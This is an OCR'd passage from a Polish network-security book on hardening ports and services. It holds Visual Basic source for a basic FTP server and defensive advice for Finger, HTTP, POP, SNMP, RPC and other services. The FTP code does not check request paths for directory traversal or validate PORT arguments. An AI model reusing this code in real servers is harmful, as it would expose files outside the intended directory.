Public Sub ProcFTPCommand(ByVal sckArrayLoc As Integer, ByRef raw_data 

As String) 

    Dim data 
    Dim ftpCommand As String 
    Dim ftpArgs As String 
 
    data = Replace$(raw_data, vbCrLf, "") 
 
    If InStr(data, " ") = 0 Then 
        ftpCommand = data 
    Else 
        ftpCommand = Left$(data, (InStr(data, " ") - 1)) 
        ftpArgs = Right$(data, (Len(data) - InStr(data, " "))) 
    End If 

    RaiseEvent ClientSentCommand(client(sckArrayLoc).ID, 

ftpCommand, ftpArgs) 

    client(sckArrayLoc).IdleSince = Now 
 
    Select Case UCase$(ftpCommand) 
 
        Case "USER" 
            If ftpArgs = "anonymous" Then 
                client(sckArrayLoc).UserName = ftpArgs 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

51 

 

51

 

                SendResponse sckArrayLoc, "331 User name ok, need 

password." 

            Else 
                SendResponse sckArrayLoc, "530 Not logged in: No 

such  

                account " & ftpArgs 
            End If 
 
        Case "PASS" 
             LoginClient sckArrayLoc, ftpArgs 
        Case "TYPE" 
            SendResponse sckArrayLoc, "200 Type set to " & ftpArgs 
 
        Case "REST" 
            SendResponse sckArrayLoc, "350 Restarting at " & 

ftpArgs & " - send  

            STORE or RETRIEVE to initiate transfer." 
 
        Case "PWD" 
            SendResponse sckArrayLoc, "257 " & Chr(34) _ 
                & ConvPathToRelative(client(sckArrayLoc).HomeDir,  

         client(sckArrayLoc).CurrentDir) _ 

                & Chr(34) & " is current directory." 
 
        Case "PORT" 
            Dim tmpArray() As String 
            tmpArray = Split(ftpArgs, ",") 
            client(sckArrayLoc).DataPort = tmpArray(4) * 256 Or 

tmpArray(5) 

            SendResponse sckArrayLoc, "200 Port command 

successful." 

        Case "LIST" 
            SendResponse sckArrayLoc, "150 Opening ASCII mode data 

connection  
     for /bin/ls." 

             
            client(sckArrayLoc).Status = stat_GETTING_DIR_LIST 
            RaiseEvent ClientStatusChanged(client(sckArrayLoc).ID) 
             
            GetDirectoryList sckArrayLoc 

 

        Case "RETR" 
            GetFileToSend sckArrayLoc, ftpArgs 

 

        Case "CWD" 
            ChangeDirectory sckArrayLoc, ftpArgs 

 

        Case "CDUP" 
            Dim tmp As String 

 

            tmp = client(sckArrayLoc).CurrentDir 
            If isRootDir(sckArrayLoc, tmp) = False Then 
              

 

                If Right$(tmp, 1) = "\" Then tmp = Left$(tmp, 

Len(tmp) - 1) 

                tmp = Left$(tmp, InStrRev(tmp, "\")) 
            End If 

            ChangeDirectory sckArrayLoc,  

     ConvPathToRelative(client(sckArrayLoc).HomeDir, tmp) 

 
        Case "PASV" 

background image

 
52 

Hack Wars. Tom 2. Na tropie hakerów 

52 

 

            client(sckArrayLoc).ConnectMode = cMode_PASV 
            SendResponse sckArrayLoc, "227 Entering Passive Mode (" 

                & Replace(frmWinsock.CommandSock(0).LocalIP, ".", 

",") &  
         OpenLocalDataPort(sckArrayLoc) & ")" 

 

        Case "NOOP" 
            SendResponse sckArrayLoc, "200 NOOP command 

successful." 

 

        Case Else 
            SendResponse sckArrayLoc, "502 Command not 

implemented." 

 

    End Select 

 

End Sub 
 
Private Sub GetDirectoryList(cArrayLoc As Integer) 
    Dim hFile As Long 
    Dim r As Long 
    Dim fname As String 
    Dim WFD As WIN32_FIND_DATA 
    Dim dirList As String 
    Dim permissions As String 
    hFile = FindFirstFile(client(cArrayLoc).CurrentDir & "*.*" + 

Chr$(0), WFD) 

    If Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1) 

<> "." And Left$(WFD.cFileName, InStr(WFD.cFileName, 
vbNullChar) - 1) <> ".." Then 

        If (WFD.dwFileAttributes And vbDirectory) Then 
            permissions = "drwx------" 
        Else 
            permissions = "-rwx------" 
        End If 

        dirList = permissions _ 
            & " 1 user group " _ 
            & WFD.nFileSizeLow _ 
            & get_date(WFD.ftLastWriteTime) _ 
            & Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) 

- 1) _ 

            & vbCrLf 
    End If 

 

    While FindNextFile(hFile, WFD) 
        If Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 

1) <> "." And  
  Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1) 
<> ".." Then 

            If (WFD.dwFileAttributes And vbDirectory) Then 
                permissions = "drwx------" 
            Else 
                permissions = "-rwx------" 
            End If 
            dirList = dirList _ 
                & permissions _ 
                & " 1 user group " _ 
                & WFD.nFileSizeLow _ 
                & get_date(WFD.ftLastWriteTime) _ 
                & Left$(WFD.cFileName, InStr(WFD.cFileName, 

vbNullChar) - 1) _ 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

53 

 

53

 

                & vbCrLf 
        End If 

        DoEvents 
 
    Wend 
 
    r = FindClose(hFile) 
     
    MakeDataConnection cArrayLoc 
 
    If dirList = "" Then 
      
        frmWinsock.DataSock(cArrayLoc).Close 
        SendResponse cArrayLoc, "226 Transfer complete." 
 
        client(cArrayLoc).Status = stat_IDLE 
        RaiseEvent ClientStatusChanged(client(cArrayLoc).ID) 
        Exit Sub 
    End If 

 

    SendData cArrayLoc, dirList 

 

End Sub 
 
Private Function MakeDataConnection(sckArrayLoc As Integer) As Long 
    If client(sckArrayLoc).ConnectMode = cMode_NORMAL Then 
        frmWinsock.DataSock(sckArrayLoc).RemoteHost = 

client(sckArrayLoc).IPAddress 

        frmWinsock.DataSock(sckArrayLoc).RemotePort = 

client(sckArrayLoc).DataPort 

        frmWinsock.DataSock(sckArrayLoc).Connect 
    End If 

 

    Do 
        DoEvents 
    Loop Until frmWinsock.DataSock(sckArrayLoc).State = 

sckConnected 

 

End Function 

Private Function OpenLocalDataPort(sckArrayLoc As Integer) As 

String 

 

    Dim Nr1 As Integer 
    Dim Nr2 As Integer 

 

    Randomize Timer 
    Nr1 = Int(Rnd * 12) + 5 
    Nr2 = Int(Rnd * 254) + 1 

 

    frmWinsock.DataSock(sckArrayLoc).Close 
    frmWinsock.DataSock(sckArrayLoc).LocalPort = (Nr1 * 256) Or Nr2 
    frmWinsock.DataSock(sckArrayLoc).Listen 

 

    OpenLocalDataPort = "," & Nr1 & "," & Nr2 

 

End Function 

 

Private Function isRootDir(cArrayLoc As Integer, strDir As String) 

As Boolean 

 

    If client(cArrayLoc).HomeDir = strDir Then isRootDir = True 

 

End Function 

background image

 
54 

Hack Wars. Tom 2. Na tropie hakerów 

54 

 

 

Private Sub ChangeDirectory(cArrayLoc As Integer, ChangeTo As 

String) 

    If Left$(ChangeTo, 1) = "/" Then 

     

        If FileExists(ConvPathToLocal(client(cArrayLoc).HomeDir, 

ChangeTo)) =  

            True Then 
            client(cArrayLoc).CurrentDir =  
            ConvPathToLocal(client(cArrayLoc).HomeDir, ChangeTo) 
        Else 
            SendResponse cArrayLoc, "550 " & ChangeTo & ": No such 

file or  

            directory." 
            Exit Sub 
        End If 
    Else 

        

        If FileExists(ConvPathToLocal(client(cArrayLoc).CurrentDir, 

ChangeTo)) =  

            True Then 
            client(cArrayLoc).CurrentDir =  
            ConvPathToLocal(client(cArrayLoc).CurrentDir, ChangeTo) 
        Else 
            SendResponse cArrayLoc, "550 " & ChangeTo & ": No such 

file or  

            directory." 
            Exit Sub 
        End If 
    End If 

    SendResponse cArrayLoc, "250 Directory changed to " & 

ConvPathToRelative(client(cArrayLoc).HomeDir, 
client(cArrayLoc).CurrentDir) 

 
End Sub 
 
Private Sub GetFileToSend(cArrayLoc As Integer, File As String) 
 
    With client(cArrayLoc) 
    
        If FileExists(.CurrentDir & File) = False Then 
            SendResponse cArrayLoc, "550 " & File & ": No such file 

or  

            directory." 
            Exit Sub 
        End If 
 
        .cFileTotalBytes = FileLen(.CurrentDir & File) 
 
        .CurrentFile = .CurrentDir & File 
 
        SendResponse cArrayLoc, "150 Opening BINARY mode data 

connection for " &  
  File & " (" & .cFileTotalBytes & " bytes)" 

 
        .fFile = FreeFile 
        Open .CurrentDir & File For Binary Access Read As #.fFile 
 
        .Status = stat_DOWNLOADING 
        RaiseEvent ClientStatusChanged(.ID) 
    End With 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

55 

 

55

 

 

    MakeDataConnection cArrayLoc 

     

    SendFile cArrayLoc 

 

End Sub 

Private Sub SendFile(cArrayLoc As Integer) 
     
    Dim BlockSize As Integer 
    Dim DataToSend As String 
     
    BlockSize = TransferBufferSize 
 
    With client(cArrayLoc) 
        If BlockSize > (.cFileTotalBytes - .cTotalBytesXfer) Then 
            BlockSize = (.cFileTotalBytes - .cTotalBytesXfer) 
        End If 
        DataToSend = Space$(BlockSize) 
        Get #.fFile, , DataToSend 
        .cTotalBytesXfer = .cTotalBytesXfer + BlockSize 
        .TotalBytesDownloaded = .TotalBytesDownloaded + BlockSize 
    End With 
    SendData cArrayLoc, DataToSend 
End Sub 
 
Public Function ShutdownServer() As Long 
    frmWinsock.CommandSock(0).Close 
    ServerActive = False 
    RaiseEvent ServerStopped 
End Function 
 
Private Function ConvPathToLocal(ByVal StartPath As String, ByVal 

CurrentPath As  

    String) As String 
    Dim result As String 
    If Right$(StartPath, 1) <> "\" Then StartPath = StartPath & "\" 
    If Left$(CurrentPath, 1) = "/" Then CurrentPath = 

Right$(CurrentPath,  

    Len(CurrentPath) - 1) 
    CurrentPath = Replace$(CurrentPath, "/", "\") 
    result = StartPath & CurrentPath 
    If Right$(result, 1) <> "\" Then result = result & "\" 
    ConvPathToLocal = result 
End Function 
 
Private Function ConvPathToRelative(ByVal StartPath As String, 

ByVal CurrentPath  

    As String) As String 
    If Right$(StartPath, 1) <> "\" Then StartPath = StartPath & "\" 
    If Right$(CurrentPath, 1) <> "\" Then CurrentPath = CurrentPath 

& "\" 

 
    Dim strRelPath As String 
 
    If StartPath = CurrentPath Then 
        strRelPath = "/" 
    Else 
        strRelPath = Replace$(CurrentPath, StartPath, "/") 
        strRelPath = Replace$(strRelPath, "\", "/") 
  

background image

 
56 

Hack Wars. Tom 2. Na tropie hakerów 

56 

 

        If Right$(strRelPath, 1) = "/" Then strRelPath = 

Left$(strRelPath,  
  Len(strRelPath) - 1) 

    End If 
    ConvPathToRelative = strRelPath 
End Function 
 
Public Function ServerGetClientStatusDescription(ByVal stat As 

Integer) As String 

    Select Case stat 
        Case stat_IDLE: ServerGetClientStatusDescription = "Idle" 
        Case stat_LOGGING_IN: ServerGetClientStatusDescription = 

"Connecting..." 

        Case stat_GETTING_DIR_LIST: 

ServerGetClientStatusDescription =  
  "Downloading list of files" 

        Case stat_UPLOADING: ServerGetClientStatusDescription = 

"Uploading" 

        Case stat_DOWNLOADING: ServerGetClientStatusDescription = 

"Downloading" 

        Case Else: ServerGetClientStatusDescription = "Unknown 

status" 

    End Select 
End Function 
 
Public Function ServerGetErrorDescription(ByVal errCode As Long) As 

String 

    Select Case errCode 
        Case 1001: ServerGetErrorDescription = "Server is already 

running." 

        Case 1002: ServerGetErrorDescription = "Server failed to 

start becuase  
  no port or invalid port was specified." 

       
        Case Else: ServerGetErrorDescription = "Unknown error " & 

errCode 

    End Select 
End Function 

Private Function get_date(FT As FILETIME) As String 
    Dim ST As SYSTEMTIME 
    Dim r As Long 
    Dim ds As String 
     
    r = FileTimeToSystemTime(FT, ST) 
 
    ds = DateSerial(ST.wYear, ST.wMonth, ST.wDay) 
 
    If DateDiff("d", ds, Date) > 365 Then 
        get_date = Format$(ds, " mmm dd yyyy ") 
    Else 
        get_date = Format$(ds & " " & ST.wHour & ":" & ST.wMinute, " 

mmm dd hh:mm ") 

    End If 
 
End Function 

 

Private Function FileExists(FileName As String) As Boolean 

 

    Dim hFindFile As Long 
    Dim FileData As WIN32_FIND_DATA 
    If Right(FileName, 1) = "\" Then 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

57 

 

57

 

        FileName = FileName & "*.*" 
    End If 

 

    hFindFile = FindFirstFile(FileName, FileData) 
    If hFindFile = -1 Then 
        FileExists = False 
    Else 
        FileExists = True 
    End If 

 

    FindClose hFindFile 

 

End Function 

Port 79: Finger 

W pierwszym tomie omówiliśmy demon usługi Finger i to, jak istotne informacje moŜna 
dzięki  niemu  uzyskać  przy  stosunkowo  niewielkim  wysiłku.  W  większości  przypad-
ków, poniewaŜ usługa ta nie jest wymagana — zwłaszcza jej odpowiedzi na zapytania 
przesyłane z Internetu — powinna zostać wyłączona. 









 

Aby wyłączyć usługę w systemie UNIX, oznaczamy opisujący ją wiersz w pliku 

/etc/inetd.conf

 jako komentarz, podobnie jak przedstawiono to na rysunku 1.1 

dla usługi Echo. Następnie restartujemy proces inetd lub system operacyjny. 









 

W systemach Windows NT/2000 odinstalowujemy usługę serwera protokołu 
Finger wraz z całością usług Simple TCP/IP Services, poprzez arkusz właściwości 
połączenia sieciowego. 

JeŜeli załoŜenia komunikacji sieciowej wymagają, aby demon pozostawał aktywny, na-
leŜy  zadbać  o  osłonę  (wrapper).  NaleŜy  równieŜ  zapewnić,  aby  nie  umoŜliwiała  rozpo-
wszechniania faktycznych nazw kont uŜytkowników. Następnie wyłączamy funkcję prze-
kierowania  usługi  Finger  i  sprawdzamy  czy  dane  uŜytkowników  aktywnych  nie  są 
bezpośrednio dostępne. Usługa Finger słynie ze swojej uŜyteczności w przygotowywaniu 
włamań do sieci, wszystkie wymienione uwagi naleŜy więc potraktować bardzo powaŜ-
nie. JeŜeli nie mamy moŜliwości zmodyfikowania kodu źródłowego programu lub wpły-
wu na konfigurację demona, powinniśmy z niego zrezygnować i poszukać innej wersji. 

Port 80: HTTP 

Jak niewątpliwie Czytelnik juŜ wie, HTTP (Hypertext Transfer Protocol, protokół prze-
syłania  hipertekstu)  jest  protokołem,  na  którym  opiera  się  funkcjonowanie  Wielkiej 
Ś

wiatowej Pajęczyny, czyli WWW (World Wide Web). Protokół ten określa sposób 

formatowania  i przesyłania  komunikatów będących  następstwem  wpisania  w przeglą-
darce  adresu  URL  witryny  internetowej.  Najczęstszym  naduŜyciem  związanym  z  róŜ-
nymi  wersjami  demona  HTTP  jest  „złamanie  strony  WWW”  (ang.  Web  page  hack). 
Mimo Ŝe szersze omówienie technik przeciwdziałania przedstawione zostanie w dalszej 
części ksiąŜki, wspomnimy teraz o istotnej zasadzie projektowania sieci z serwerem lub 
serwerami WWW. 

Mocno zalecane jest projektowanie sieci zgodnie z omówionym na wcześniejszych stro-
nach  (Port  25:  SMTP)  schematem  SMTP-NAT-DMZ.  Umieszczenie  serwera  WWW  za 
zaporą firewall, w strefie DMZ, pozwoli zaoszczędzić wielu, wielu godzin spędzanych na 

background image

 
58 

Hack Wars. Tom 2. Na tropie hakerów 

58 

 

mniej  lub  bardziej  rutynowych  działaniach,  do  których  zmuszają  administratora  próby 
atakowania sieci. Podstawowym aspektem tego rozwiązania jest wydajna zapora, zdolna 
do badania, potencjalnie, milionów pakietów Ŝądań HTTP. Jest to rozwiązanie zdecydo-
wanie najlepsze. Gdy jednak (jak to często bywa) koszt systemu staje się istotnym 
czynnikiem  ograniczającym, pozostaje utrzymywanie szczegółowych dzienników syste-
mu  i  wprowadzenie  blokady  portów.  Blokady  portów,  takie  jak  TigerWatch  (narzędzie 
omówione w dalszych rozdziałach), pełnią rolę uproszczonych zapór firewall, zamykając 
podatne na ataki porty i związane z nimi usługi oraz monitorując próby ataków. 

JeŜeli usługa HTTP nie jest wymagana, czy to w systemie UNIX, czy Windows, wyłą-
czamy ją. Wymagane czynności są podobne jako opisane na stronach wcześniejszych 
(Port21:  FTP  i  Port  23:  Telnet).  Gdy  usługa  pozostaje  aktywna,  w  systemie  UNIX 
nie wolno zapominać o jej osłonie, wraz ze szczegółowym rejestrowaniem, oraz wy-
łączeniu funkcji przeglądania katalogów. 

TigerWebServer 

Rozwiązaniem dobrym zarówno dla firm, jak i domowych uŜytkowników Windows, 
moŜe być TigerWebServer — bezpieczny serwer WWW, od podstaw zaprojektowany 
tak,  aby  moŜna  było  go  uruchomić,  wraz  z  całą  witryną,  z  dysku  CD-ROM.  Jest  to 
najpewniejszy  sposób  zabezpieczenia  przed  „złamaniem”  witryny  WWW  —  nie  ist-
nieje  moŜliwość  zdalnej  podmiany  plików  na  niezapisywalnym  dysku  optycznym. 
Program posiada równieŜ inne ciekawe funkcje: 









 

Analizatory sesji. 









 

Proaktywne monitorowanie serwera. 









 

Zdalne zarządzanie witryną. 









 

Przetwarzanie skryptów CGI, w tym dostęp do ksiąŜki gości. 









 

Rozmowa (ang. chat) w czasie rzeczywistym. 









 

Obsługa do 100 000 jednoczesnych strumieni połączeń. 









 

Moduły FTP i Telnet uŜytkownika. 









 

Obsługa adresów IP w czasie rzeczywistym. 

Obsługa  adresów  IP  w  czasie  rzeczywistym  jest  szczególną  cechą  programu  Tiger-
WebServer
.  Oznacza, Ŝe  w pełni profesjonalny dostęp do serwera WWW,  z dowolnego 
miejsca i w dowolnym czasie, zapewniać mogą uŜytkownicy zarówno stałych, jak i tym-
czasowych czy telefonicznych internetowych kont dostępowych. MoŜna wręcz korzystać 
z  kilku  róŜnych  kont  dostępu  telefonicznego,  z  których  kaŜde  przypisuje  serwerowi 
odmienny adres IP w kaŜdej sesji. TigerWebServer pracować moŜe w połączeniu z usłu-
gami nazw domen lub bez nich. 

 

 

Program opisujemy szerzej w dodatku A. 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

59 

 

59

 

Porty 109 i 110: POP 

Protokół urzędu pocztowego (Post Office Protocol, POP) słuŜy do pobierania poczty 
elektronicznej  z  serwera  pocztowego.  Opiera  się  na  topologii  klient-serwer,  gdzie 
pocztę odbiera i przechowuje serwer — do chwili, gdy oprogramowanie klienta przepro-
wadzi procedurę logowania i ostatecznie pobierze zgromadzone przesyłki. Braki w inte-
gracji  architektury  protokołu  umoŜliwiają  osobom  nieupowaŜnionym  logowanie,  jak 
równieŜ  bezpośrednie  połączenia  Telnet  (przez  port  110)  z  systemami  operacyjnymi, 
w których  pracują  demony  POP,  nawet  po  zmianie  hasła  stosowanego  dla  konta 
POP3. Inną słabością jest ujawnianie istotnych informacji przy próbie połączenia telneto-
wego z systemem pocztowym, jak równieŜ moŜliwość pobierania plików bufora poczty. 

JeŜeli usługi POP nie są wymagane, w systemie UNIX wyłączamy usługę, a w syste-
mie Windows odinstalowujemy odpowiednie oprogramowanie. JeŜeli dostęp POP jest 
koniecznością,  zakładamy  jego  osłonę  (zgodnie  z  opisem  na  stronach  wcześniejszych). 
Bezpieczeństwo protokołu POP róŜni się w zaleŜności od stosowanego pakietu, naleŜy 
więc  przejrzeć  dokumentację  pod  kątem  dostępnych  w  stosowanej  wersji  zaawanso-
wanych funkcji zabezpieczających. 

Porty 111, 135 i 137 – 139 

Porty o  wymienionych  numerach  współpracują z usługami,  kolejno: PortmapLoc-serv
Nbname,  Nbdatagram  i  Nbsession.  Demon  Portmap  konwertuje  numery  programów 
RPC na numery portów. Serwer RPC przy uruchamianiu rejestruje swoją aktywność 
w programie demona Portmap. Podaje on demonowi numer portu, na którym prowadzi 
nasłuch, oraz numery programów RPC, które obsługuje. Demon Portmap zna dzięki temu 
odpowiednie  numery  portów  i  posiada  informację  o  tym,  które  programy  są  na  kaŜ-
dym  z  nich  dostępne.  Loc-serv  to  usługa  RPC  systemu  NT.  JeŜeli  osoba  niepowołana 
uŜyje odpowiednich parametrów i poda adres klienta, moŜe uzyskać dzięki tej usłudze 
nazwę  domeny  NIS  (network  information  service,  sieciowa  usługa  informacyjna). 
Ogólnie rzecz biorąc, znajomość nazwy domeny NIS moŜe umoŜliwić uzyskanie kopii 
pliku haseł. 

Port 137 (nbname) słuŜy jako alternatywa systemu odwzorowywania nazw DNS. Określa 
się tę usługę często nazwą WINS lub usługa nazw NetBIOS. Węzły, na których uru-
chomiona jest obsługa protokołu NetBIOS pracującego w oparciu o TCP/IP korzystają 
z pakietów UDP przesyłanych do i z portu UDP o numerze 137 — realizują w ten sposób 
odwzorowania nazw. Słabością tego protokołu jest brak uwierzytelniania. Na rozgło-
szeniowe  zapytania  o  jakiekolwiek  nazwy  odpowiedzieć  moŜe  dowolny  komputer, 
podszywając się w ten sposób pod uprawniony do tego serwer. 

Niezmiernie istotną rzeczą jest filtrowanie  komunikacji przez kaŜdy z opisywanych tu 
portów  na  granicach  lokalnego  segmentu  sieci.  Odpowiednie  mechanizmy  zapewnić 
mogą  zapory  firewall,  routery  lub  blokady  portów.  W  dalszych  rozdziałach  szerzej 
omówimy techniki filtrowania i ich stosowanie jako alternatywy dla wyłączania zagro-
Ŝ

onych usług. 

background image

 
60 

Hack Wars. Tom 2. Na tropie hakerów 

60 

 

Port 161: SNMP 

Prosty  protokół  zarządzania  siecią  (Simple  Network  Management  Protocol,  SNMP) 
odpowiada za zarządzanie i monitorowanie urządzeń sieciowych. JeŜeli demon usługi 
SNMP jest aktywny, osoby nieupowaŜnione mogą sięgnąć po udzielane przezeń infor-
macje w celu uzyskania danych o sieci. NaleŜą do nich: typy urządzeń, lista aktywnych 
połączeń sieciowych, lista aktywnych procesów, a nawet lista aktywnych uŜytkowników. 
Podstawowymi  środkami  przeciwdziałania  takiemu  naduŜyciu  jest  filtrowanie  dostępu 
z Internetu i zadbanie o stosowanie wyłącznie prywatnych nazw wspólnot SNMP. 

Porty 512 – 520 

Port 512 wykorzystuje narzędzie 

rexec()

 do zdalnego uruchamiania procesów. Gdy 

port ten jest aktywny (prowadzony jest na nim nasłuch), w większości sytuacji serwer 
uruchamiania zdalnego skonfigurowany jest tak, aby rozpoczynać pracę automatycznie. 
WiąŜe się to zasadniczo z obecnością w pamięci X-Windows. Bez odpowiedniej ochrony, 
zawartość okien uŜytkownika moŜe być wówczas przechwytywana i podglądana. 

Porty 513 i 514 określa  się jako  „uprzywilejowane”  i jako takie  —  w  wielu odmianach 
systemu  UNIX  —  stają  się  celem  ataków  związanych  z  podrabianiem  adresów  IP. 
Z portu 514 korzysta równieŜ narzędzie 

rsh

, funkcjonujące jako interaktywna powłoka 

systemu, pozbawiona jakiejkolwiek procedury logowania. Obie te usługi potwierdzają 
obecność demona X-Windows (podobnie jak opisano to wyŜej). Korzystając z metod 
konwencjonalnych, proste uŜycie narzędzia Telnet pozwoli ustanowić połączenie. 

Dostęp UPD do portu 514 (dziennik systemowy) jest otwartym zaproszeniem do róŜnego 
rodzaju ataków DoS. Prosty moduł skanujący potwierdzi jego otwartość na naduŜycia. 

Demony Talk to interaktywne programy komunikacyjne, działające zgodnie z proce-
durami określanymi przez starsze i nowsze  wersje protokołu Talk (porty 517 i 518). 
Obsługują one odbywające się  w czasie rzeczywistym  konwersacje tekstowe pomię-
dzy stacjami UNIX. Na demony te składają się zazwyczaj programy klienta i serwera 
Talk,  które  w  normalnych  warunkach  mogą  jednocześnie  pracować  w  tym  samym 
systemie.  W  większości przypadków,  nowsze demony Talk,  inicjowane przez port 518, 
nie  są zgodne z  wersjami  starszymi.  Mimo,  Ŝe  ich  aktywność  moŜe  wydawać  się  nie-
szkodliwa,  często  tak  nie jest. Poza oczywistą  kwestią,  Ŝe  utworzenie połączenia  wiąŜe 
się z ustanowieniem komunikacji TCP na jednym z losowo  wybranych portów syste-
mu, usługi te wraŜliwe są równieŜ na kilka moŜliwości ataku zdalnego. 

Proces ustanawiania trasy pakietów określany jako dynamiczne wybieranie trasy (ang. 
dynamic routing) ma miejsce wówczas, gdy routery komunikują się z routerami przy-
ległymi (sąsiadującymi),  informując się  wzajemnie o tym, z którymi sieciami  kaŜdy z 
nich jest w danej chwili zaznajomiony. Komunikacja taka opiera się na protokole wy-
bierania tras — usłudze wymagającej odpowiedniego demona. W zaleŜności od pro-
tokołu,  przekazywane  w  obu  kierunkach  pomiędzy  routerami  uaktualnienia  danych, 
korzystają  z określonych  portów  systemu.  Najpopularniejszy  chyba  protokół  wybierania 
tras,  Routing  Information  Protocol  (RIP,  protokół  informowania  o  trasach),  korzysta 
z portu UDP o numerze 520. Port ten znalazł równieŜ zastosowanie w  wielu firmowych 
protokołach o tym samym przeznaczeniu. W fazie wykrywania danych o celu ataku, kiedy 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

61 

 

61

 

zbierane  są  najwaŜniejsze  informacje  o  topologii,  sesje  komunikacyjne  protokołów 
wybierania tras mogą być przechwytywane niemal dowolnym monitorem sieci. 

Ś

rodkiem  przeciwdziałania  tego  rodzaju  zagroŜeniom  jest  filtrowanie  komunikacji 

korzystającej z wymienionych portów na granicy systemu lokalnego lub „zaufanego” 
segmentu  sieci.  Odpowiednie  mechanizmy  zapewnić  mogą  zapory  firewall,  routery 
lub blokady portów. W dalszych rozdziałach techniki filtrowania omówimy szerzej. 

Port 540: UUCP 

W pracy protokołu UUCP (UNIX-to-UNIX Copy Protocol, protokół kopiowania mię-
dzy  systemami  UNIX)  bierze  udział  rodzina  programów,  które  realizują  przesyłanie 
plików  między  róŜnymi  systemami  UNIX  i,  co  waŜniejsze,  przekazywanie  poleceń, 
które wykonane zostaną na systemie zdalnym. Protokół ten znajduje zastosowanie w stan-
dardowych procedurach dostarczania poczty elektronicznej. 

Zasadniczo,  usługa  UUCP  nie  jest  wymagana,  powinna  więc  zostać  wyłączona.  W  tym 
celu, podobnie jak przedstawiono to na rysunku 1.1 odnośnie usługi Echo, oznaczamy 
opisujący UUCP wiersz w pliku 

/etc/inetd.conf

 jako komentarz. Wówczas restartujemy 

system lub sam proces inetd

JeŜeli  protokół  UUCP  jest  wymagany,  co  związane  jest  przede  wszystkim  z  dostarcza-
niem poczty, osłaniamy  usługę. Nie  wolno zapominać o archiwizacji szczegółowych 
plików  dziennika.  Tworzy  równieŜ  własny  harmonogram,  uwzględniający  godziny 
aktywności,  w  trakcie  których  demon  UUCP  przesyła  pocztę,  oraz  godziny,  w  których 
demon  pozostaje  wyłączony.  Na  połączeniach  internetowych,  konfigurujemy  pracę 
strumieni  sesji  UUCP  tak, aby korzystały z prywatnych  sieci  wirtualnych (VPN, virtual 
private networks
), lub  korzystamy z pozostającej pod ochroną zapory  firewall strefy 
DMZ. Sieci VPN opiszemy szerzej w dalszej części ksiąŜki. 

Porty ukryte 

W pierwszym tomie zapoznaliśmy się z wieloma sekretnymi, niebezpiecznymi, ale 
szeroko stosowanymi usługami oraz portami, którymi zarządzają. Przedstawiliśmy szkody 
wyrządzane przez takie demony, pozwalające zarządzać stacjami CD-ROM, dźwię-
kiem, plikami, paskiem zadań, pulpitem, rejestrowaniem wciśnięć klawiszy, stosowanymi 
hasłami,  aplikacjami,  przeglądarką,  systemem  jako  całością,  jego  awariami,  zrzutami 
zawartości ekranu i mechanizmami komunikacji międzyprocesowej. Wszyscy oczywiście 
moŜemy ulec takim atakom. Co więcej, ich przeprowadzenie nie jest wcale trudne. 

Informacje przedstawione w Hack wars. Na tropie hakerów zwróciły uwagę na dostępne 
osobom  nieupowaŜnionym  formy  naduŜyć.  Czas  wreszcie  nauczyć  się  jak  zapobiegać 
włamaniom, zabezpieczając odpowiednio sieć i pracujące w niej komputery. Napisaliśmy, 
Ŝ

e  wykrycie  aktywnych  portów  i  usług  wymaga  korzystania  z  narzędzi  takich  jak 

skanery portów. To samo odnosi się do przeprowadzanych lokalnie testów odporności 
systemu. Przypomnijmy, Ŝe celem skanowania portów jest przejrzenie wszystkich 65 ty-

background image

 
62 

Hack Wars. Tom 2. Na tropie hakerów 

62 

 

sięcy „bram” do naszego komputera i uzyskanie informacji o tym, które z nich są otwarte, 
a przez to podatne na próby ataku z zewnątrz. 

 

 

NaleŜy  mieć  świadomość,  Ŝe z portów naleŜących do grupy ukrytych korzysta równieŜ 
wiele  uŜytecznych  demonów.  Ich  listę  umieściliśmy  na  dołączonym  do  ksiąŜki  dysku 
CD. Zgodnie z pierwszym tomem niniejszej publikacji, za porty ukryte uznajemy porty o 
numerach od 1025 do 65 000. 

Skanowanie portów lokalnych 

Do przeprowadzenia przeglądu portów lokalnych wystarczający będzie niemal kaŜdy 
zapewniający  moŜliwość pracy wielowątkowej skaner. W naszych przykładach posłuŜy-
my się programem TigerScan, naleŜącym do pakietu TigerSurf. Rozpoczniemy od za-
logowania  się  do  jego  głównego  interfejsu  (patrz  rysunek  1.22).  Po  zainicjowaniu  prze-
glądarki,  z  menu  Options  (Opcje)  |  Security  Properties  (Właściwości  zabezpieczeń)  | 
Security Scan 
(Skanowanie zabezpieczeń) wybierzemy Scan ports now (Skanuj porty). 
Ilustruje to rysunek 1.23. 

Rysunek 1.22.  
Logowanie do 
programu TigerSurf 

 

 

 

Rysunek 1.23.  
Uruchamianie modułu 
TigerScan z głównego 
paska menu 

 

 

 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

63 

 

63

 

 

Oprogramowanie TigerSurf znajdziemy na krąŜku CD dołączonym do niniejszej ksiąŜki. 

NaleŜy  być  przygotowanym  na  to,  Ŝe  praca  modułu  skanowania  zajmie  nieco  czasu 
— gromadzi on informacje o portach aktywnych i, poprzez porównanie z bazą danych 
o drogach włamań do systemów, ustala ich słabe punkty (patrz rysunek 1.24). 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

63 

 

63

 

Rysunek 1.24.  
Program TigerScan 
podaje informacje 
o aktywnych portach 
i usługach 

 

 

Ogólnie rzecz biorąc, funkcje skanera przedstawić moŜna w trzech punktach: 

1.

 

Lokalizacja portów otwartych. 

2.

 

Wykrycie dostępnych danych. 

3.

 

Porównanie wyników z listą znanych luk w zabezpieczeniach. 

W zaleŜności od wielkości dostępnych zasobów systemu i procesora, cała operacja zająć 
moŜe od 3 do 12 minut. 

Na rysunku 1.24 widać wyniki pracy skanera — wykryte zostały dwa aktywne porty: 
135  i  13 000.  Usługa  korzystająca  z  zarezerwowanego  portu  135  to  usługa  Loc-serv 
systemu Windows NT. JeŜeli włamywacz uŜyje odpowiednich parametrów i poda adres 
